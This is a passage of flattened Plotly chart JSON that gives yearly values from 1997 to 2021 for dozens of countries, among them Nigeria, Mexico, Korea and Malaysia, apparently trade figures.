6397.56, - 7677.56, - 9151.25, - 10565.02, - 7995.59, - 6324.72, - 4725.1, - 5069.69, - 6261.14, - 8812.84, - 8366.11, - 6472.82, - 8114.98 - ] - }, - { - "mode": "lines", - "name": "NETHERLANDANTIL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 5.8, - 6.25, - 7.9, - 22.66, - 21.02, - 29.83, - 11.37, - 5.27, - 10.94, - 12.87, - 10.12, - 18.7, - 29.68, - 52.32, - 39.31, - 59.87, - 68.5, - 40.94, - 37.22, - 38.12, - 38.59, - 30.58, - 30, - 19.22, - 21.85 - ] - }, - { - "mode": "lines", - "name": "NEW CALEDONIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.66, - 0.22, - 0.3, - 0.73, - 0.67, - 0.8, - 1.9, - 0.83, - 1.19, - 3.23, - 2.23, - 4.47, - 3.55, - 16.76, - 59.5, - 12.52, - 8.8, - 10.77, - 4.68, - 8.09, - 10.25, - 8.83, - 15.2, - 11.5, - 16.06 - ] - }, - { - "mode": "lines", - "name": "NEW ZEALAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 71.93, - 56.82, - 64.35, - 63.28, - 62.21, - 67.7, - 85.97, - 93.22, - 141.9, - 495.52, - 158.82, - 188.62, - 255.17, - 190.59, - 251.64, - 302.06, - 276.68, - 322.1, - 308.04, - 309.66, - 352.85, - 379.87, - 378.55, - 486.25, - 369.54 - ] - }, - { - "mode": "lines", - "name": "NIGER", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 5.47, - 12.02, - 12.89, - 26.17, - 35.44, - 52.99, - 36.66, - 40.29, - 22.25, - 14.33, - 47.39, - 25.98, - 37.9, - 47.08, - 88.07, - 56.18, - 86.31, - 78.22, - 80.16, - 81.24, - 120.21, - 94.84, - 73.6, - 87.03, - 67.06 - ] - }, - { - "mode": "lines", - "name": "MOLDOVA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.67, - 0.99, - 0.78, - 0.88, - 1.88, - 2.54, - 4.37, - 5.61, - 5.43, - 5.54, - 7.43, - 6.78, - 6.58, - 7.54, - 7.5, - 8.94, - 10.47, - 8.79, - 7.81, - 6.71, - 7.14, - 8.63, - 8.71, - 11.58, - 6.7 - ] - }, - { - "mode": "lines", - "name": "NIGERIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 215.53, - 248.09, - 293.71, - 384.66, - 563.14, - 449.08, - 565.49, - 644.68, - 874.03, - 902.84, - 1085.41, - 1529.26, - 1408.67, - 2098.94, - 2702.01, - 2740.04, - 2667.75, - 2681.37, - 2221.9, - 1764.11, - 2254.92, - 3005.21, - 3609.91, - 3134.89, - 3453.4 - ] - }, - { - "mode": "lines", - "name": "NORFOLK IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.77, - 0.25, - 0.1, - 0.75, - 0.68, - 0.24, - 0.56, - 0.1, - 0.09, - 0.54, - 0.49, - 0.38, - 0.11, - 0.76, - 0.24, - 0.49, - 1.36, - 0.06, - 0.33, - 0.28, - 0.38, - 0.19, - 0.33, - 0.22, - 0.18 - ] - }, - { - "mode": "lines", - "name": "NORWAY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 77.18, - 55.55, - 51.32, - 60.39, - 54.3, - 70.83, - 75.69, - 103.81, - 130.2, - 184.18, - 265.65, - 393.67, - 228.91, - 179.35, - 334.23, - 234.6, - 229.08, - 263.41, - 541.63, - 244.89, - 359.98, - 313.05, - 421.61, - 322.48, - 285.34 - ] - }, - { - "mode": "lines", - "name": "OMAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 109.29, - 118.55, - 132.77, - 144.62, - 148.99, - 198.61, - 258.99, - 267.67, - 408.43, - 630.97, - 939.43, - 779.04, - 1032.93, - 1082.24, - 1322.13, - 2599.49, - 2812.27, - 2379.44, - 2190.96, - 2728.3, - 2439.46, - 2246.31, - 2261.81, - 2355.3, - 1772.3 - ] - }, - { - "mode": "lines", - "name": "PAKISTAN IR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 143.15, - 106.1, - 92.95, - 186.83, - 144.01, - 206.16, - 286.94, - 521.05, - 689.23, - 1350.09, - 1950.53, - 1439.88, - 1573.32, - 2039.53, - 1541.56, - 2064.79, - 2274.26, - 1857.18, - 2171.17, - 1821.87, - 1924.28, - 2066.56, - 816.62, - 326.87, - 374.62 - ] - }, - { - "mode": "lines", - "name": "PANAMA REPUBLIC", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 39.98, - 25.1, - 31.74, - 65.65, - 43.22, - 49.21, - 54.55, - 55.95, - 63.05, - 165.6, - 68.43, - 123.22, - 78.09, - 124.16, - 232.17, - 226.49, - 211.4, - 302.4, - 201.41, - 220.21, - 227.05, - 227.26, - 238.52, - 151.88, - 281.59 - ] - }, - { - "mode": "lines", - "name": "PAPUA N GNA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.4, - 3.44, - 5.37, - 4.51, - 10.26, - 5.07, - 4.69, - 14.28, - 9.21, - 10.69, - 14.8, - 19.99, - 17.58, - 21.95, - 35.9, - 29.77, - 43.96, - 52.19, - 39.45, - 36.28, - 41.93, - 49.72, - 56.02, - 56.17, - 51.59 - ] - }, - { - "mode": "lines", - "name": "PARAGUAY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.59, - 5.89, - 6.88, - 8.27, - 7.17, - 6.83, - 10.57, - 12.01, - 16.38, - 27.28, - 46.3, - 39, - 37.05, - 41.53, - 66.93, - 82.94, - 88.91, - 106.48, - 98.13, - 125.03, - 168.43, - 160.71, - 126.96, - 160.81, - 166.06 - ] - }, - { - "mode": "lines", - "name": "PERU", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 21.62, - 23.51, - 32.85, - 26.32, - 35.07, - 49.69, - 38.01, - 68.82, - 84.26, - 125.64, - 288.44, - 308.31, - 274.33, - 417.6, - 564.29, - 637.93, - 620.55, - 819.86, - 703.12, - 696.42, - 760.68, - 721.03, - 764, - 764.69, - 680.54 - ] - }, - { - "mode": "lines", - "name": "PHILIPPINES", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 238.72, - 118.74, - 143.53, - 202.61, - 247.79, - 472, - 321.53, - 412.23, - 494.66, - 580.98, - 620.32, - 743.77, - 748.77, - 881.1, - 992.91, - 1187.19, - 1419, - 1395.58, - 1353.34, - 1482.52, - 1692.83, - 1743.64, - 1526.03, - 1457.3, - 1580.38 - ] - }, - { - "mode": "lines", - "name": "POLAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 87.43, - 93.06, - 91.66, - 86.22, - 108.31, - 105.64, - 134.21, - 176.3, - 226.96, - 306.57, - 447.45, - 518.45, - 421.13, - 666.22, - 787, - 810.85, - 995.5, - 1050.79, - 1025.3, - 1197.81, - 1541.36, - 1572.8, - 1548.11, - 1652.67, - 1949.23 - ] - }, - { - "mode": "lines", - "name": "MONGOLIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.01, - 1.7, - 2.26, - 1.36, - 0.53, - 0.71, - 0.81, - 1.35, - 1.17, - 2.34, - 7.56, - 15.73, - 7.98, - 20.77, - 34.97, - 23.66, - 15.53, - 7.92, - 8.44, - 9.78, - 20.49, - 22.81, - 16.27, - 18.98, - 19.65 - ] - }, - { - "mode": "lines", - "name": "MEXICO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 111.08, - 130.2, - 140.89, - 208.51, - 237.45, - 261.55, - 264.42, - 368.58, - 443.07, - 535.97, - 592.35, - 659.51, - 596.18, - 912.77, - 1367.37, - 1628.24, - 2227.44, - 2861.55, - 2865.13, - 3460.98, - 3782.79, - 3841.57, - 3623.71, - 3086.67, - 3307.32 - ] - }, - { - "mode": "lines", - "name": "KAZAKHSTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 15.13, - 38, - 27.19, - 50.08, - 45.7, - 46.88, - 74.81, - 81.42, - 90.86, - 83.18, - 111.99, - 131.68, - 136.54, - 172.16, - 244.39, - 286.23, - 261.51, - 250.68, - 151.91, - 120.88, - 125.37, - 143.13, - 202.59, - 225.96, - 153.04 - ] - }, - { - "mode": "lines", - "name": "LIECHTENSTEIN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.1, - 0.02, - 0.07, - 0.02, - 0.34, - 0.33, - 0.48, - 0.47, - 0.34, - 0.7, - 0.17, - 4.92, - 0.06, - 0.16, - 0.14, - 0.27, - 0.32, - 0.19, - 0.82, - 0.73, - 2.8, - 3.4, - 4.36, - 3.76, - 1.71 - ] - }, - { - "mode": "lines", - "name": "KIRIBATI REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.15, - 0.12, - 0.02, - 0.12, - 0.16, - 0.44, - 0.05, - 0.4, - 0.09, - 3.4, - 0.18, - 2.02, - 0.33, - 0.13, - 1.21, - 0.37, - 0.94, - 1, - 0.94, - 0.47, - 0.55, - 0.37, - 0.39, - 0.71, - 1.46 - ] - }, - { - "mode": "lines", - "name": "KOREA DP RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 37.63, - 18.96, - 67.19, - 170.61, - 160.07, - 183.13, - 158.75, - 123.91, - 54.53, - 105.41, - 850.96, - 937.18, - 422.38, - 329.13, - 229.18, - 202.78, - 186.8, - 76.52, - 110.88, - 44.84, - 57.55, - 26.99, - 8.97, - 2.79, - 0.24 - ] - }, - { - "mode": "lines", - "name": "KOREA RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 467.55, - 307.9, - 476.56, - 450.78, - 471.37, - 644.85, - 764.86, - 1041.68, - 1827.21, - 2518.4, - 2860.84, - 3952.29, - 3421.05, - 3727.29, - 4352.35, - 4202.25, - 4208.69, - 4602.95, - 3523.43, - 4241.42, - 4460.98, - 4705.07, - 4845.15, - 4684.62, - 5671.82 - ] - }, - { - "mode": "lines", - "name": "KUWAIT", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 178.37, - 164.67, - 154.3, - 199.11, - 206.25, - 250.56, - 319.09, - 421.44, - 513.73, - 614.81, - 681.54, - 797.5, - 782.45, - 1856.01, - 1181.41, - 1061.08, - 1061.14, - 1198.89, - 1247.51, - 1497.99, - 1365.66, - 1333.92, - 1286.56, - 1054.2, - 888.41 - ] - }, - { - "mode": "lines", - "name": "KYRGHYZSTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 10.79, - 8.7, - 13.8, - 17.59, - 10.97, - 14.67, - 38.2, - 49.57, - 28.09, - 37.08, - 31.52, - 22.92, - 26.84, - 25.79, - 30.55, - 34.99, - 34.54, - 37.76, - 25.11, - 30.44, - 28.59, - 30.02, - 29.13, - 38.71, - 21.1 - ] - }, - { - "mode": "lines", - "name": "LAO PD RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.31, - 1.24, - 1.39, - 6.24, - 3.16, - 1.58, - 0.43, - 2.65, - 5.47, - 2.39, - 3.86, - 9, - 16.93, - 13.11, - 14.97, - 28.91, - 49.89, - 67.31, - 37.94, - 25.72, - 25, - 39.38, - 25.08, - 27.34, - 11.4 - ] - }, - { - "mode": "lines", - "name": "LATVIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.73, - 9.52, - 12.97, - 13.68, - 6.17, - 8.84, - 16.33, - 17.42, - 28.39, - 39.81, - 59.5, - 44.93, - 47.17, - 103.19, - 96.18, - 104.08, - 102.08, - 98.12, - 79.5, - 115.6, - 112.22, - 115.52, - 119.25, - 103.48, - 101.85 - ] - }, - { - "mode": "lines", - "name": "LEBANON", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 26.55, - 26.62, - 33.43, - 47.22, - 39.28, - 50.89, - 59.05, - 67.46, - 71.84, - 67.13, - 96.73, - 132.75, - 131.33, - 176.1, - 231.87, - 250.55, - 293.52, - 279.66, - 239.55, - 210.65, - 257.1, - 268.67, - 203.97, - 190.38, - 222.04 - ] - }, - { - "mode": "lines", - "name": "LESOTHO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.16, - 0.11, - 0.21, - 0.08, - 0.25, - 3.78, - 5.57, - 13.41, - 12.77, - 5.49, - 8.56, - 34.49, - 14.44, - 18.64, - 21.2, - 18.25, - 31.01, - 38.22, - 30.06, - 33.18, - 31.59, - 30.46, - 40.78, - 39.89, - 9.3 - ] - }, - { - "mode": "lines", - "name": "LIBERIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 9.24, - 3.26, - 12.26, - 11.32, - 17.46, - 4.45, - 16.13, - 18.3, - 21.15, - 24.01, - 22.92, - 29.33, - 29.58, - 43.96, - 78.78, - 127.02, - 253.68, - 206.53, - 133.88, - 146.3, - 257.46, - 178.81, - 219.52, - 225.65, - 193.47 - ] - }, - { - "mode": "lines", - "name": "LIBYA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 38.66, - 24.28, - 22.34, - 8.07, - 9.35, - 17.64, - 18.73, - 173.53, - 103.29, - 86.21, - 135.98, - 128.68, - 221.98, - 131.99, - 60.98, - 215.3, - 287.2, - 163.74, - 122.58, - 120.05, - 121.96, - 156.76, - 184.4, - 153.91, - 159.66 - ] - }, - { - "mode": "lines", - "name": "ALBANIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.55, - 0.8, - 0.91, - 1.83, - 2.32, - 4.28, - 4.95, - 5.23, - 5.61, - 4.48, - 6.9, - 12.14, - 8.51, - 11.5, - 12.63, - 17.48, - 18.73, - 19.42, - 24.04, - 26.45, - 29.34, - 37.08, - 44.12, - 46.75, - 44.64 - ] - }, - { - "mode": "lines", - "name": "MAURITIUS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 180.64, - 161.12, - 170.77, - 199.75, - 162.91, - 164.36, - 203.02, - 258.2, - 199.43, - 738.29, - 1088.82, - 1006.93, - 453.43, - 853.91, - 1400.51, - 1310.8, - 1000.18, - 1909.55, - 855.73, - 881.38, - 1077.15, - 1160.78, - 662.13, - 422.91, - 605.37 - ] - }, - { - "mode": "lines", - "name": "LUXEMBOURG", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.2, - 3.78, - 5.36, - 5.58, - 4.47, - 9.14, - 14.19, - 11.64, - 10.67, - 16.92, - 11.7, - 11.56, - 4.78, - 18.76, - 9.1, - 8.2, - 11.74, - 9.59, - 8.07, - 11.48, - 11.39, - 30.07, - 20.34, - 12.6, - 10.95 - ] - }, - { - "mode": "lines", - "name": "MACAO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.09, - 0.93, - 0.78, - 1.09, - 1.64, - 3.6, - 4.08, - 2.09, - 2.46, - 1.62, - 4.5, - 5.49, - 40.58, - 1.44, - 1.48, - 0.96, - 1.62, - 2.43, - 1.97, - 1.51, - 13.89, - 1.06, - 6.28, - 8.96, - 11.73 - ] - }, - { - "mode": "lines", - "name": "MACEDONIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.02, - 0.1, - 1.38, - 1.16, - 1.06, - 1.28, - 1.65, - 2.6, - 3.93, - 5.69, - 8.27, - 10.54, - 7, - 8.34, - 8.86, - 9.12, - 10.79, - 14.51, - 12.87, - 14.88, - 17.38, - 19.54, - 22.61, - 23.2, - 20.99 - ] - }, - { - "mode": "lines", - "name": "MADAGASCAR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 7.58, - 9.92, - 9.17, - 10.79, - 13.17, - 14.63, - 39.14, - 36.12, - 42.65, - 45.78, - 57.27, - 250.05, - 85.71, - 79.33, - 123.63, - 154.42, - 238.71, - 167.19, - 197.05, - 213.7, - 228.11, - 196.38, - 301.73, - 324.22, - 227.85 - ] - }, - { - "mode": "lines", - "name": "MALAWI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 10.85, - 10.24, - 20.17, - 18.59, - 20.47, - 30.81, - 38.21, - 58.26, - 43.63, - 42.56, - 64.34, - 89.38, - 81.36, - 101.45, - 148.26, - 153.3, - 221.05, - 214.02, - 176.13, - 178.42, - 199.6, - 201.55, - 185.09, - 150.96, - 112.1 - ] - }, - { - "mode": "lines", - "name": "MALAYSIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 489.95, - 321.69, - 447.09, - 608.15, - 773.69, - 749.37, - 892.76, - 1084.06, - 1161.86, - 1305.22, - 2575.26, - 3419.97, - 2835.41, - 3871.17, - 3980.36, - 4444.07, - 4197.93, - 5816.55, - 3706.83, - 5224.86, - 5701.56, - 6436.3, - 6364.66, - 6057.68, - 5291.09 - ] - }, - { - "mode": "lines", - "name": "MALDIVES", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 8.74, - 8.38, - 7.3, - 24.61, - 26.88, - 31.59, - 42.34, - 47.61, - 67.58, - 68.68, - 89.72, - 127.91, - 79.86, - 100.14, - 124.6, - 122.36, - 106.07, - 152.38, - 179.07, - 197.79, - 217, - 223.02, - 226.57, - 195.88, - 530.15 - ] - }, - { - "mode": "lines", - "name": "MALI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 8.88, - 18.55, - 14.62, - 16.69, - 32.64, - 22.64, - 43.82, - 21.69, - 27.9, - 63.73, - 32.09, - 39.15, - 42.24, - 65.45, - 98.37, - 78.66, - 108.78, - 134.12, - 107.93, - 107.7, - 123.6, - 130.69, - 146.14, - 186.97, - 158.01 - ] - }, - { - "mode": "lines", - "name": "MALTA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 13.33, - 6.06, - 28.24, - 10.52, - 11.91, - 32.32, - 117.95, - 31.5, - 121.31, - 60.8, - 34.61, - 100.08, - 708.85, - 746.78, - 848.99, - 398.22, - 167.91, - 327.59, - 325.03, - 137.23, - 195.86, - 229.52, - 208.2, - 317.04, - 406.02 - ] - }, - { - "mode": "lines", - "name": "MARTINIQUE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.88, - 2.11, - 3.8, - 1.82, - 0.98, - 1.2, - 0.59, - 0.53, - 0.84, - 2.11, - 1.99, - 44.31, - 5.55, - 4.87, - 6.46, - 5.88, - 7.68, - 6.15, - 4.44, - 4.13, - 4.42, - 3.58, - 3.81, - 4.25, - 4.53 - ] - }, - { - "mode": "lines", - "name": "MAURITANIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.57, - 5.28, - 9.19, - 13.67, - 19.87, - 20.51, - 18.04, - 24.71, - 45.14, - 21.73, - 28.74, - 35.81, - 30.64, - 33.5, - 46.52, - 41.84, - 58.02, - 58.94, - 58.35, - 65.98, - 83.16, - 115.59, - 83.83, - 88.92, - 69.02 - ] - }, - { - "mode": "lines", - "name": "PORTUGAL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 111.45, - 106.28, - 124.65, - 146.7, - 147.84, - 162.12, - 169.89, - 223.17, - 260.89, - 366.99, - 495.91, - 440.44, - 374.57, - 526.84, - 525.27, - 528.46, - 627, - 636.43, - 589.64, - 669.66, - 747.32, - 743.27, - 744.79, - 837.14, - 906.68 - ] - }, - { - "mode": "lines", - "name": "PUERTO RICO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - 